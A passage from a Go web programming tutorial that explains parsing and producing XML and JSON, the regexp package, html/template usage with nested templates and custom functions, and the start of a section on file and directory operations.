    Description string   `xml:",innerxml"`
}

type server struct {
    XMLName    xml.Name `xml:"server"`
    ServerName string   `xml:"serverName"`
    ServerIP   string   `xml:"serverIP"`
}

func main() {
    file, err := os.Open("servers.xml") // For read access.     
    if err != nil {
        fmt.Printf("error: %v", err)
        return
    }
    defer file.Close()
    data, err := ioutil.ReadAll(file)
    if err != nil {
        fmt.Printf("error: %v", err)
        return
    }
    v := Recurlyservers{}
    err = xml.Unmarshal(data, &v)
    if err != nil {
        fmt.Printf("error: %v", err)
        return
    }

    fmt.Println(v)
}

XML is actually a tree data structure, and we can define a very similar structure using structs in Go, then use xml.Unmarshal to convert from XML to our struct object. The sample code will print the following content:

{{ servers} 1 [{{ server} Shanghai_VPN 127.0.0.1} {{ server} Beijing_VPN 127.0.0.2}]
<server>
    <serverName>Shanghai_VPN</serverName>
    <serverIP>127.0.0.1</serverIP>
</server>
<server>
    <serverName>Beijing_VPN</serverName>
    <serverIP>127.0.0.2</serverIP>
</server>
}

We use xml.Unmarshal to parse the XML document to the corresponding struct object. You should see that we have something like xml:"serverName" in our struct. This is a feature of structs called struct tags for helping with reflection. Let’s see the definition of Unmarshal again:

func Unmarshal(data []byte, v interface{}) error

The first argument is an XML data stream. The second argument is storage type and supports the struct, slice and string types. Go’s XML package uses reflection for data mapping, so all fields in v should be exported. However, this causes a problem: how can it know which XML field corresponds to the mapped struct field? The answer is that the XML parser parses data in a certain order. The library will try to find the matching struct tag first. If a match cannot be found then it searches through the struct field names. Be aware that all tags, field names and XML elements are case sensitive, so you have to make sure that there is a one to one correspondence for the mapping to succeed.

Go’s reflection mechanism allows you to use this tag information to reflect XML data to a struct object. If you want to know more about reflection in Go, please read the package documentation on struct tags and reflection.

Here are some rules when using the xml package to parse XML documents to structs:


	If the field type is a string or []byte with the tag ",innerxml", Unmarshal will assign raw XML data to it, like Description in the above example:

Shanghai_VPN127.0.0.1Beijing_VPN127.0.0.2


	If a field is called XMLName and its type is xml.Name, then it gets the element name, like servers in above example.

	If a field’s tag contains the corresponding element name, then it gets the element name as well, like servername and serverip in the above example.

	If a field’s tag contains ",attr", then it gets the corresponding element’s attribute, like version in above example.

	If a field’s tag contains something like "a>b>c", it gets the value of the element c of node b of node a.

	If a field’s tag contains "=", then it gets nothing.

	If a field’s tag contains ",any", then it gets all child elements which do not fit the other rules.

	If the XML elements have one or more comments, all of these comments will be added to the first field that has the tag that contains ",comments". This field type can be a string or []byte. If this kind of field does not exist, all comments are discard.




These rules tell you how to define tags in structs. Once you understand these rules, mapping XML to structs will be as easy as the sample code above. Because tags and XML elements have a one to one correspondence, we can also use slices to represent multiple elements on the same level.

Note that all fields in structs should be exported (capitalized) in order to parse data correctly.





43.2 Produce XML

What if we want to produce an XML document instead of parsing one. How do we do this in Go? Unsurprisingly, the xml package provides two functions which are Marshal and MarshalIndent, where the second function automatically indents the marshalled XML document. Their definition as follows:

func Marshal(v interface{}) ([]byte, error)
func MarshalIndent(v interface{}, prefix, indent string) ([]byte, error)

The first argument in both of these functions is for storing a marshalled XML data stream.

Let’s look at an example to see how this works:

package main

import (
    "encoding/xml"
    "fmt"
    "os"
)

type Servers struct {
    XMLName xml.Name `xml:"servers"`
    Version string   `xml:"version,attr"`
    Svs     []server `xml:"server"`
}

type server struct {
    ServerName string `xml:"serverName"`
    ServerIP   string `xml:"serverIP"`
}

func main() {
    v := &Servers{Version: "1"}
    v.Svs = append(v.Svs, server{"Shanghai_VPN", "127.0.0.1"})
    v.Svs = append(v.Svs, server{"Beijing_VPN", "127.0.0.2"})
    output, err := xml.MarshalIndent(v, "  ", "    ")
    if err != nil {
        fmt.Printf("error: %v\n", err)
    }
    os.Stdout.Write([]byte(xml.Header))

    os.Stdout.Write(output)
}

The above example prints the following information:

<?xml version="1.0" encoding="UTF-8"?>
<servers version="1">
<server>
    <serverName>Shanghai_VPN</serverName>
    <serverIP>127.0.0.1</serverIP>
</server>
<server>
    <serverName>Beijing_VPN</serverName>
    <serverIP>127.0.0.2</serverIP>
</server>
</servers>

As we’ve previously defined, the reason we have os.Stdout.Write([]byte(xml.Header)) is because both xml.MarshalIndent and xml.Marshal do not output XML headers on their own, so we have to explicitly print them in order to produce XML documents correctly.

Here we can see that Marshal also receives a v parameter of type interface{}. So what are the rules when marshalling to an XML document?


	If v is an array or slice, it prints all elements like a value.

	If v is a pointer, it prints the content that v is pointing to, printing nothing when v is nil.

	If v is a interface, it deal with the interface as well.

	If v is one of the other types, it prints the value of that type.



So how does xml.Marshal decide the elements’ name? It follows the proceeding rules:


	If v is a struct, it defines the name in the tag of XMLName.

	The field name is XMLName and the type is xml.Name.

	Field tag in struct.

	Field name in struct.

	Type name of marshal.



Then we need to figure out how to set tags in order to produce the final XML document.


	XMLName will not be printed.

	Fields that have tags containing "-" will not be printed.

	If a tag contains "name,attr", it uses name as the attribute name and the field value as the value, like version in the above example.

	If a tag contains ",attr", it uses the field’s name as the attribute name and the field value as its value.

	If a tag contains ",chardata", it prints character data instead of element.

	If a tag contains ",innerxml", it prints the raw value.

	If a tag contains ",comment", it prints it as a comment without escaping, so you cannot have “–” in its value.

	If a tag contains "omitempty", it omits this field if its value is zero-value, including false, 0, nil pointer or nil interface, zero length of array, slice, map and string.

	If a tag contains "a>b>c", it prints three elements where a contains b and b contains c, like in the following code:

FirstName string xml:"name>first"

LastName string xml:"name>last"

<name>

<first>Asta</first>

<last>Xie</last>

</name>




You may have noticed that struct tags are very useful for dealing with XML, and the same goes for the other data formats we’ll be discussing in the following sections. If you still find that you have problems with working with struct tags, you should probably read more documentation about them before diving into the next section.
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44 7.2 JSON

JSON (JavaScript Object Notation) is a lightweight data exchange language which is based on text description. Its advantages include being self-descriptive, easy to understand, etc. Even though it is a subset of JavaScript, JSON uses a different text format, the result being that it can be considered as an independent language. JSON bears similarity to C-family languages.

The biggest difference between JSON and XML is that XML is a complete markup language, whereas JSON is not. JSON is smaller and faster than XML, therefore it’s much easier and quicker to parse in browsers, which is one of the reasons why many open platforms choose to use JSON as their data exchange interface language.

Since JSON is becoming more and more important in web development, let’s take a look at the level of support Go has for JSON. You’ll find that Go’s standard library has very good support for encoding and decoding JSON.

Here we use JSON to represent the example in the previous section:

{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}

The rest of this section will use this JSON data to introduce JSON concepts in Go.





44.1 Parse JSON





44.1.1 Parse to struct

Suppose we have the JSON in the above example. How can we parse this data and map it to a struct in Go? Go provides the following function for just this purpose:

func Unmarshal(data []byte, v interface{}) error

We can use this function like so:

package main

import (
    "encoding/json"
    "fmt"
)

type Server struct {
    ServerName string
    ServerIP   string
}

type Serverslice struct {
    Servers []Server
}

func main() {
    var s Serverslice
    str := `{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}`
    json.Unmarshal([]byte(str), &s)
    fmt.Println(s)
}

In the above example, we defined a corresponding structs in Go for our JSON, using slice for an array of JSON objects and field name as our JSON keys. But how does Go know which JSON object corresponds to which specific struct filed? Suppose we have a key called Foo in JSON. How do we find its corresponding field?


	First, Go tries to find the (capitalised) exported field whose tag contains Foo.

	If no match can be found, look for the field whose name is Foo.

	If there are still not matches look for something like FOO or FoO, ignoring case sensitivity.



You may have noticed that all fields that are going to be assigned should be exported, and Go only assigns fields that can be found, ignoring all others. This can be useful if you need to deal with large chunks of JSON data but you only a specific subset of it; the data you don’t need can easily be discarded.





44.1.2 Parse to interface

When we know what kind of JSON to expect in advance, we can parse it to a specific struct. But what if we don’t know?

We know that an interface{} can be anything in Go, so it is the best container to save our JSON of unknown format. The JSON package uses map[string]interface{} and []interface{} to save all kinds of JSON objects and arrays. Here is a list of JSON mapping relations:


	bool represents JSON booleans,

	float64 represents JSON numbers,

	string represents JSON strings,

	nil represents JSON null.



Suppose we have the following JSON data:

b := []byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`)

Now we parse this JSON to an interface{}:

var f interface{}
err := json.Unmarshal(b, &f)

The f stores a map, where keys are strings and values are interface{}‘s’.

f = map[string]interface{}{
    "Name": "Wednesday",
    "Age":  6,
    "Parents": []interface{}{
        "Gomez",
        "Morticia",
    },
}

So, how do we access this data? Type assertion.

m := f.(map[string]interface{})

After asserted, you can use the following code to access data:

for k, v := range m {
    switch vv := v.(type) {
    case string:
        fmt.Println(k, "is string", vv)
    case int:
        fmt.Println(k, "is int", vv)
    case float64:
        fmt.Println(k,"is float64",vv)
    case []interface{}:
        fmt.Println(k, "is an array:")
        for i, u := range vv {
            fmt.Println(i, u)
        }
    default:
        fmt.Println(k, "is of a type I don't know how to handle")
    }
}

As you can see, we can parse JSON of an unknown format through interface{} and type assert now.

The above example is the official solution, but type asserting is not always convenient. So, I recommend an open source project called simplejson, created and maintained by by bitly. Here is an example of how to use this project to deal with JSON of an unknown format:

js, err := NewJson([]byte(`{
    "test": {
        "array": [1, "2", 3],
        "int": 10,
        "float": 5.150,
        "bignum": 9223372036854775807,
        "string": "simplejson",
        "bool": true
    }
}`))

arr, _ := js.Get("test").Get("array").Array()
i, _ := js.Get("test").Get("int").Int()
ms := js.Get("test").Get("string").MustString()

It’s not hard to see how convenient this is. Check out the repository to see more information: https://github.com/bitly/go-simplejson.





44.2 Producing JSON

In many situations, we need to produce JSON data and respond to clients. In Go, the JSON package has a function called Marshal to do just that:

func Marshal(v interface{}) ([]byte, error)

Suppose we need to produce a server information list. We have following sample:

package main

import (
    "encoding/json"
    "fmt"
)

type Server struct {
    ServerName string
    ServerIP   string
}

type Serverslice struct {
    Servers []Server
}

func main() {
    var s Serverslice
    s.Servers = append(s.Servers, Server{ServerName: "Shanghai_VPN", ServerIP: "127.0.0.1"})
    s.Servers = append(s.Servers, Server{ServerName: "Beijing_VPN", ServerIP: "127.0.0.2"})
    b, err := json.Marshal(s)
    if err != nil {
        fmt.Println("json err:", err)
    }
    fmt.Println(string(b))
}

Output:

{"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]}

As you know, all field names are capitalized, but if you want your JSON key names to start with a lower case letter, you should use struct tags. Otherwise, Go will not produce data for internal fields.

type Server struct {
    ServerName string `json:"serverName"`
    ServerIP   string `json:"serverIP"`
}

type Serverslice struct {
    Servers []Server `json:"servers"`
}

After this modification, we can produce the same JSON data as before.

Here are some points you need to keep in mind when trying to produce JSON:


	Field tags containing "-" will not be outputted.

	If a tag contains a customized name, Go uses this instead of the field name, like serverName in the above example.

	If a tag contains omitempty, this field will not be outputted if it is its zero-value.

	If the field type is bool, string, int, int64, etc, and its tag contains ",string", Go converts this field to its corresponding JSON type.



Example:

type Server struct {
    // ID will not be outputed.
    ID int `json:"-"`

    // ServerName2 will be converted to JSON type.
    ServerName  string `json:"serverName"`
    ServerName2 string `json:"serverName2,string"`

    // If ServerIP is empty, it will not be outputed.
    ServerIP   string `json:"serverIP,omitempty"`
}

s := Server {
    ID:         3,
    ServerName:  `Go "1.0" `,
    ServerName2: `Go "1.0" `,
    ServerIP:   ``,
}
b, _ := json.Marshal(s)
os.Stdout.Write(b)

Output:

{"serverName":"Go \"1.0\" ","serverName2":"\"Go \\\"1.0\\\" \""}

The Marshal function only returns data when it has succeeded, so here are some points we need to keep in mind:


	JSON only supports strings as keys, so if you want to encode a map, its type has to be map[string]T, where T is the type in Go.

	Types like channel, complex types and functions are not able to be encoded to JSON.

	Do not try to encode cyclic data, it leads to an infinite recursion.

	If the field is a pointer, Go outputs the data that it points to, or else outputs null if it points to nil.



In this section, we introduced how to decode and encode JSON data in Go. We also looked at one third-party project called simplejson which is for parsing JSON or unknown format. These are all useful concepts for developping web applications in Go.
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45 7.3 Regexp

Regexp is a complicated but powerful tool for pattern matching and text manipulation. Although does not perform as well as pure text matching, it’s more flexible. Based on its syntax, you can filter almost any kind of text from your source content. If you need to collect data in web development, it’s not hard to use Regexp to retrieve meaningful data.

Go has the regexp package, which provides official support for regexp. If you’ve already used regexp in other programming languages, you should be familiar with it. Note that Go implemented RE2 standard except for \C. For more details, follow this link: http://code.google.com/p/re2/wiki/Syntax.

Go’s strings package can actually do many jobs like searching (Contains, Index), replacing (Replace), parsing (Split, Join), etc., and it’s faster than Regexp. However, these are all trivial operations. If you want to search a case insensitive string, Regexp should be your best choice. So, if the strings package is sufficient for your needs, just use it since it’s easy to use and read; if you need to perform more advanced operations, use Regexp.

If you recall form verification from previous sections, we used Regexp to verify the validity of user input information. Be aware that all characters are UTF-8. Let’s learn more about the Go regexp package!





45.1 Match

The regexp package has 3 functions to match: if it matches a pattern, then it returns true, returning false otherwise.

func Match(pattern string, b []byte) (matched bool, error error)
func MatchReader(pattern string, r io.RuneReader) (matched bool, error error)
func MatchString(pattern string, s string) (matched bool, error error)

All of 3 functions check if pattern matches the input source, returning true if it matches. However if your Regex has syntax errors, it will return an error. The 3 input sources of these functions are slice of byte, RuneReader and string.

Here is an example of how to verify an IP address:

func IsIP(ip string) (b bool) {
    if m, _ := regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$", ip); !m {
        return false
    }
    return true
}

As you can see, using pattern in the regexp package is not that different. Here’s one more example on verifying if user input is valid:

func main() {
    if len(os.Args) == 1 {
        fmt.Println("Usage: regexp [string]")
        os.Exit(1)
    } else if m, _ := regexp.MatchString("^[0-9]+$", os.Args[1]); m {
        fmt.Println("Number")
    } else {
        fmt.Println("Not number")
    }
}

In the above examples, we use Match(Reader|Sting) to check if content is valid, but they are all easy to use.





45.2 Filter

Match mode can verify content but it cannot cut, filter or collect data from it. If you want to do that, you have to use complex mode of Regexp.

Let’s say we need to write a crawler. Here is an example that shows when you must use Regexp to filter and cut data.

package main

import (
    "fmt"
    "io/ioutil"
    "net/http"
    "regexp"
    "strings"
)

func main() {
    resp, err := http.Get("http://www.baidu.com")
    if err != nil {
        fmt.Println("http get error.")
    }
    defer resp.Body.Close()
    body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        fmt.Println("http read error")
        return
    }

    src := string(body)

    // Convert HTML tags to lower case.
    re, _ := regexp.Compile("\\<[\\S\\s]+?\\>")
    src = re.ReplaceAllStringFunc(src, strings.ToLower)

    // Remove STYLE.
    re, _ = regexp.Compile("\\<style[\\S\\s]+?\\</style\\>")
    src = re.ReplaceAllString(src, "")

    // Remove SCRIPT.
    re, _ = regexp.Compile("\\<script[\\S\\s]+?\\</script\\>")
    src = re.ReplaceAllString(src, "")

    // Remove all HTML code in angle brackets, and replace with newline.
    re, _ = regexp.Compile("\\<[\\S\\s]+?\\>")
    src = re.ReplaceAllString(src, "\n")

    // Remove continuous newline.
    re, _ = regexp.Compile("\\s{2,}")
    src = re.ReplaceAllString(src, "\n")

    fmt.Println(strings.TrimSpace(src))
}

In this example, we use Compile as the first step for complex mode. It verifies that your Regex syntax is correct, then returns a Regexp for parsing content in other operations.

Here are some functions to parse your Regexp syntax:

func Compile(expr string) (*Regexp, error)
func CompilePOSIX(expr string) (*Regexp, error)
func MustCompile(str string) *Regexp
func MustCompilePOSIX(str string) *Regexp

The difference between ComplePOSIX and Compile is that the former has to use POSIX syntax which is leftmost longest search, and the latter is only leftmost search. For instance, for Regexp [a-z]{2,4} and content "aa09aaa88aaaa", CompilePOSIX returns aaaa but Compile returns aa. Must prefix means panic when the Regexp syntax is not correct, returning error otherwise.

Now that we know how to create a new Regexp, let’s see what how the methods provided by this struct can help us to operate on content:

func (re *Regexp) Find(b []byte) []byte
func (re *Regexp) FindAll(b []byte, n int) [][]byte
func (re *Regexp) FindAllIndex(b []byte, n int) [][]int
func (re *Regexp) FindAllString(s string, n int) []string
func (re *Regexp) FindAllStringIndex(s string, n int) [][]int
func (re *Regexp) FindAllStringSubmatch(s string, n int) [][]string
func (re *Regexp) FindAllStringSubmatchIndex(s string, n int) [][]int
func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte
func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int
func (re *Regexp) FindIndex(b []byte) (loc []int)
func (re *Regexp) FindReaderIndex(r io.RuneReader) (loc []int)
func (re *Regexp) FindReaderSubmatchIndex(r io.RuneReader) []int
func (re *Regexp) FindString(s string) string
func (re *Regexp) FindStringIndex(s string) (loc []int)
func (re *Regexp) FindStringSubmatch(s string) []string
func (re *Regexp) FindStringSubmatchIndex(s string) []int
func (re *Regexp) FindSubmatch(b []byte) [][]byte
func (re *Regexp) FindSubmatchIndex(b []byte) []int

These 18 methods include identical functions for different input sources (byte slice, string and io.RuneReader), so we can really simplify this list by ignoring input sources as follows:

func (re *Regexp) Find(b []byte) []byte
func (re *Regexp) FindAll(b []byte, n int) [][]byte
func (re *Regexp) FindAllIndex(b []byte, n int) [][]int
func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte
func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int
func (re *Regexp) FindIndex(b []byte) (loc []int)
func (re *Regexp) FindSubmatch(b []byte) [][]byte
func (re *Regexp) FindSubmatchIndex(b []byte) []int

Code sample:

package main

import (
    "fmt"
    "regexp"
)

func main() {
    a := "I am learning Go language"

    re, _ := regexp.Compile("[a-z]{2,4}")

    // Find the first match.
    one := re.Find([]byte(a))
    fmt.Println("Find:", string(one))

    // Find all matches and save to a slice, n less than 0 means return all matches, indicates length of slice if it's greater than 0.
    all := re.FindAll([]byte(a), -1)
    fmt.Println("FindAll", all)

    // Find index of first match, start and end position.
    index := re.FindIndex([]byte(a))
    fmt.Println("FindIndex", index)

    // Find index of all matches, the n does same job as above.
    allindex := re.FindAllIndex([]byte(a), -1)
    fmt.Println("FindAllIndex", allindex)

    re2, _ := regexp.Compile("am(.*)lang(.*)")

    // Find first submatch and return array, the first element contains all elements, the second element contains the result of first (), the third element contains the result of second ().
    // Output: 
    // the first element: "am learning Go language"
    // the second element: " learning Go ", notice spaces will be outputed as well.
    // the third element: "uage"
    submatch := re2.FindSubmatch([]byte(a))
    fmt.Println("FindSubmatch", submatch)
    for _, v := range submatch {
        fmt.Println(string(v))
    }

    // Same thing like FindIndex().
    submatchindex := re2.FindSubmatchIndex([]byte(a))
    fmt.Println(submatchindex)

    // FindAllSubmatch, find all submatches.
    submatchall := re2.FindAllSubmatch([]byte(a), -1)
    fmt.Println(submatchall)

    // FindAllSubmatchIndex,find index of all submatches.
    submatchallindex := re2.FindAllSubmatchIndex([]byte(a), -1)
    fmt.Println(submatchallindex)
}

As we’ve previously introduced, Regexp also has 3 methods for matching. They do the exact same things as the exported functions. In fact, those exported functions actually call these methods under the hood:

func (re *Regexp) Match(b []byte) bool
func (re *Regexp) MatchReader(r io.RuneReader) bool
func (re *Regexp) MatchString(s string) bool

Next, let’s see how to replace strings using Regexp:

func (re *Regexp) ReplaceAll(src, repl []byte) []byte
func (re *Regexp) ReplaceAllFunc(src []byte, repl func([]byte) []byte) []byte
func (re *Regexp) ReplaceAllLiteral(src, repl []byte) []byte
func (re *Regexp) ReplaceAllLiteralString(src, repl string) string
func (re *Regexp) ReplaceAllString(src, repl string) string
func (re *Regexp) ReplaceAllStringFunc(src string, repl func(string) string) string

These are used in the crawling example, so we don’t explain more here.

Let’s take a look at the definition of Expand:

func (re *Regexp) Expand(dst []byte, template []byte, src []byte, match []int) []byte
func (re *Regexp) ExpandString(dst []byte, template string, src string, match []int) []byte

So how do we use Expand?

func main() {
    src := []byte(`
        call hello alice
        hello bob
        call hello eve
    `)
    pat := regexp.MustCompile(`(?m)(call)\s+(?P<cmd>\w+)\s+(?P<arg>.+)\s*$`)
    res := []byte{}
    for _, s := range pat.FindAllSubmatchIndex(src, -1) {
        res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s)
    }
    fmt.Println(string(res))
}

At this point, you’ve learned the whole regexp package in Go. I hope that you can understand more by studying examples of key methods, so that you can do something interesting on your own.





45.3 Links


	Directory

	Previous section: JSON

	Next section: Templates







46 7.4 Templates





46.1 What is a template?

Hopefully you’re aware of the MVC (Model, View, Controller) design model, where models process data, views show the results and finally, controllers handle user requests. For views, many dynamic languages generate data by writing code in static HTML files. For instance, JSP is implemented by inserting <%=....=%>, PHP by inserting <?php.....?>, etc.

The following demonstrates the template mechanism:

[image: ]

Figure 7.1 Template mechanism

Most of the content that web applications respond to clients with is static, and the dynamic parts are usually very small. For example, if you need to show a list users who have visited a page, only the user name would be dynamic. The style of the list remains the same. As you can see, templates are useful for reusing static content.





46.2 Templating in Go

In Go, we have the template package to help handle templates. We can use functions like Parse, ParseFile and Execute to load templates from plain text or files, then evaluate the dynamic parts, like in figure 7.1.

Example:

func handler(w http.ResponseWriter, r *http.Request) {
    t := template.New("some template") // Create a template.
    t, _ = t.ParseFiles("tmpl/welcome.html", nil)  // Parse template file.
    user := GetUser() // Get current user infomration.
    t.Execute(w, user)  // merge.
}

As you can see, it’s very easy to use, load and render data in templates in Go, just like in other programming languages.

For the sake of convenience, we will use the following rules in our examples:


	Use Parse to replace ParseFiles because Parse can test content directly from strings, so we don’t need any extra files.

	Use main for every example and do not use handler.

	Use os.Stdout to replace http.ResponseWriter since os.Stdout also implements the io.Writer interface.







46.3 Inserting data into a template

We’ve just showed you how to parse and render templates. Let’s take it one step further and render data to our templates. Every template is an object in Go, so how do we insert fields to templates?





46.3.1 Fields

In Go, Every field that you intend to be rendered within a template should be put inside of {{}}. {{.}} is shorthand for the current object, which is similar to its Java or C++ counterpart. If you want to access the fields of the current object, you should use {{.FieldName}}. Notice that only exported fields can be accessed in templates. Here is an example:

package main

import (
    "html/template"
    "os"
)

type Person struct {
    UserName string
}

func main() {
    t := template.New("fieldname example")
    t, _ = t.Parse("hello {{.UserName}}!")
    p := Person{UserName: "Astaxie"}
    t.Execute(os.Stdout, p)
}

The above example outputs hello Astaxie correctly, but if we modify our struct a little bit, the following error emerges:

type Person struct {
    UserName string
    email   string  // Field is not exported.
}

t, _ = t.Parse("hello {{.UserName}}! {{.email}}")

This part of the code will not be compiled because we try to access a field that has not been exported. However, if we try to use a field that does not exist, Go simply outputs an empty string instead of an error.

If you print {{.}} in a template, Go outputs formatted string of this object, calling fmt under the covers.





46.3.2 Nested fields

We know how to output a field now. What if the field is an object, and it also has its own fields? How do we print them all in one loop? We can use {{with …}}…{{end}} and {{range …}}{{end}} for exactly that.


	{{range}} just like range in Go.

	{{with}} lets you write the same object name once and use . as shorthand for it ( Similar to with in VB ).



More examples:

package main

import (
    "html/template"
    "os"
)

type Friend struct {
    Fname string
}

type Person struct {
    UserName string
    Emails   []string
    Friends  []*Friend
}

func main() {
    f1 := Friend{Fname: "minux.ma"}
    f2 := Friend{Fname: "xushiwei"}
    t := template.New("fieldname example")
    t, _ = t.Parse(`hello {{.UserName}}!
            {{range .Emails}}
                an email {{.}}
            {{end}}
            {{with .Friends}}
            {{range .}}
                my friend name is {{.Fname}}
            {{end}}
            {{end}}
            `)
    p := Person{UserName: "Astaxie",
        Emails:  []string{"astaxie@beego.me", "astaxie@gmail.com"},
        Friends: []*Friend{&f1, &f2}}
    t.Execute(os.Stdout, p)
}





46.3.3 Conditions

If you need to check for conditions in templates, you can use the if-else syntax just like you do in regular Go programs. If the pipeline is empty, the default value of if is false. The following example shows how to use if-else in templates:

package main

import (
    "os"
    "text/template"
)

func main() {
    tEmpty := template.New("template test")
    tEmpty = template.Must(tEmpty.Parse("Empty pipeline if demo: {{if ``}} will not be outputted. {{end}}\n"))
    tEmpty.Execute(os.Stdout, nil)

    tWithValue := template.New("template test")
    tWithValue = template.Must(tWithValue.Parse("Not empty pipeline if demo: {{if `anything`}} will be outputted. {{end}}\n"))
    tWithValue.Execute(os.Stdout, nil)

    tIfElse := template.New("template test")
    tIfElse = template.Must(tIfElse.Parse("if-else demo: {{if `anything`}} if part {{else}} else part.{{end}}\n"))
    tIfElse.Execute(os.Stdout, nil)
}

As you can see, it’s easy to use if-else in templates.

** Attention ** You CANNOT use conditional expressions in if, for instance .Mail=="astaxie@gmail.com". Only boolean values are acceptable.





46.3.4 pipelines

Unix users should be familiar with the pipe operator, like ls | grep "beego". This command filters files and only shows those that contain the word beego. One thing that I like about Go templates is that they support pipes. Anything in {{}} can be the data of pipelines. The e-mail we used above can render our application vulnerable to XSS attacks. How can we address this issue using pipes?

{{. | html}}

We can use this method to escape the e-mail body to HTML. It’s quite the same as writing a Unix command, and its convenient for use in template functions.





46.3.5 Template variables

Sometimes we need to use local variables in templates. We can use them with the with, range and if keywords, and their scope is between these keywords and {{end}}. Here’s an example of declaring a global variable:

$variable := pipeline

More examples:

{{with $x := "output" | printf "%q"}}{{$x}}{{end}}
{{with $x := "output"}}{{printf "%q" $x}}{{end}}
{{with $x := "output"}}{{$x | printf "%q"}}{{end}}





46.3.6 Template functions

Go uses the fmt package to format output in templates, but sometimes we need to do something else. As an example scenario, let’s say we want to replace @ with at in our e-mail address, like astaxie at beego.me. At this point, we have to write a customized function.

Every template function has a unique name and is associated with one function in your Go program as follows:

type FuncMap map[string]interface{}

Suppose we have an emailDeal template function associated with its EmailDealWith counterpart function in our Go program. We can use the following code to register this function:

t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith})

EmailDealWith definition:

func EmailDealWith(args …interface{}) string

Example:

package main

import (
    "fmt"
    "html/template"
    "os"
    "strings"
)

type Friend struct {
    Fname string
}

type Person struct {
    UserName string
    Emails   []string
    Friends  []*Friend
}

func EmailDealWith(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    // find the @ symbol
    substrs := strings.Split(s, "@")
    if len(substrs) != 2 {
        return s
    }
    // replace the @ by " at "
    return (substrs[0] + " at " + substrs[1])
}

func main() {
    f1 := Friend{Fname: "minux.ma"}
    f2 := Friend{Fname: "xushiwei"}
    t := template.New("fieldname example")
    t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith})
    t, _ = t.Parse(`hello {{.UserName}}!
                {{range .Emails}}
                    an emails {{.|emailDeal}}
                {{end}}
                {{with .Friends}}
                {{range .}}
                    my friend name is {{.Fname}}
                {{end}}
                {{end}}
                `)
    p := Person{UserName: "Astaxie",
        Emails:  []string{"astaxie@beego.me", "astaxie@gmail.com"},
        Friends: []*Friend{&f1, &f2}}
    t.Execute(os.Stdout, p)
}

Here is a list of built-in template functions:

var builtins = FuncMap{
    "and":      and,
    "call":     call,
    "html":     HTMLEscaper,
    "index":    index,
    "js":       JSEscaper,
    "len":      length,
    "not":      not,
    "or":       or,
    "print":    fmt.Sprint,
    "printf":   fmt.Sprintf,
    "println":  fmt.Sprintln,
    "urlquery": URLQueryEscaper,
}





46.4 Must

The template package has a function called Must which is for validating templates, like the matching of braces, comments, and variables. Let’s take a look at an example of Must:

package main

import (
    "fmt"
    "text/template"
)

func main() {
    tOk := template.New("first")
    template.Must(tOk.Parse(" some static text /* and a comment */"))
    fmt.Println("The first one parsed OK.")

    template.Must(template.New("second").Parse("some static text {{ .Name }}"))
    fmt.Println("The second one parsed OK.")

    fmt.Println("The next one ought to fail.")
    tErr := template.New("check parse error with Must")
    template.Must(tErr.Parse(" some static text {{ .Name }"))
}

Output:

The first one parsed OK.
The second one parsed OK.
The next one ought to fail.
panic: template: check parse error with Must:1: unexpected "}" in command





46.5 Nested templates

Just like in most web applications, certain parts of templates can be reused across other templates, like the headers and footers of a blog. We can declare header, content and footer as sub-templates, and declare them in Go using the following syntax:

{{define "sub-template"}}content{{end}}

The sub-template is called using the following syntax:

{{template "sub-template"}}

Here’s a complete example, supposing that we have the following three files: header.tmpl, content.tmpl and footer.tmpl.

Main template:

//header.tmpl
{{define "header"}}
<html>
<head>
    <title>Something here</title>
</head>
<body>
{{end}}

//content.tmpl
{{define "content"}}
{{template "header"}}
<h1>Nested here</h1>
<ul>
    <li>Nested usag</li>
    <li>Call template</li>
</ul>
{{template "footer"}}
{{end}}

//footer.tmpl
{{define "footer"}}
</body>
</html>
{{end}}

Code:

package main

import (
    "fmt"
    "os"
    "text/template"
)

func main() {
    s1, _ := template.ParseFiles("header.tmpl", "content.tmpl", "footer.tmpl")
    s1.ExecuteTemplate(os.Stdout, "header", nil)
    fmt.Println()
    s1.ExecuteTemplate(os.Stdout, "content", nil)
    fmt.Println()
    s1.ExecuteTemplate(os.Stdout, "footer", nil)
    fmt.Println()
    s1.Execute(os.Stdout, nil)
}

Here we can see that template.ParseFiles parses all nested templates into cache, and that every template defined by {{define}} is independent of one another. They are persisted in something like a map, where the template names are keys and the values are the template bodies. We can then use ExecuteTemplate to execute the corresponding sub-templates, so that the header and footer are independent and content contains them both. Note that if we try to execute s1.Execute, nothing will be outputted because there is no default sub-template available.

Templates in one set know each other, but you must parse them for every single set.





46.6 Summary

In this section, you learned how to combine dynamic data with templates using techniques including printing data in loops, template functions and nested templates. By learning about templates, we can conclude discussing the V part of the MVC architecture. In the following chapters, we will cover the M and C aspects of MVC.





46.7 Links


	Directory

	Previous section: Regexp

	Next section: Files







47 7.5 Files

Files are must-have objects on every single computer device. It won’t come as any surprise to you that web applications also make heavy use of them. In this section, we’re going to learn how to operate on files in Go.





47.1 Directories

In Go, most of the file operation functions are located in the os package. Here are some directory functions:


	func Mkdir(name string, perm FileMode) error

Create a directory with name. perm is the directory permissions, i.e 0777.


	func MkdirAll(path string, perm FileMode) error

Create multiple directories according to path, like astaxie/test1/test2.


	func Remove(name string) error

Removes directory with name. Returns error if it’s not a directory or not empty.


	func RemoveAll(path string) error

Removes multiple directories according to path. Directories will not be deleted if path is a single path.




Code sample:

package main

import (
    "fmt"
    "os"
)

func main() {
    os.Mkdir("astaxie", 0777)
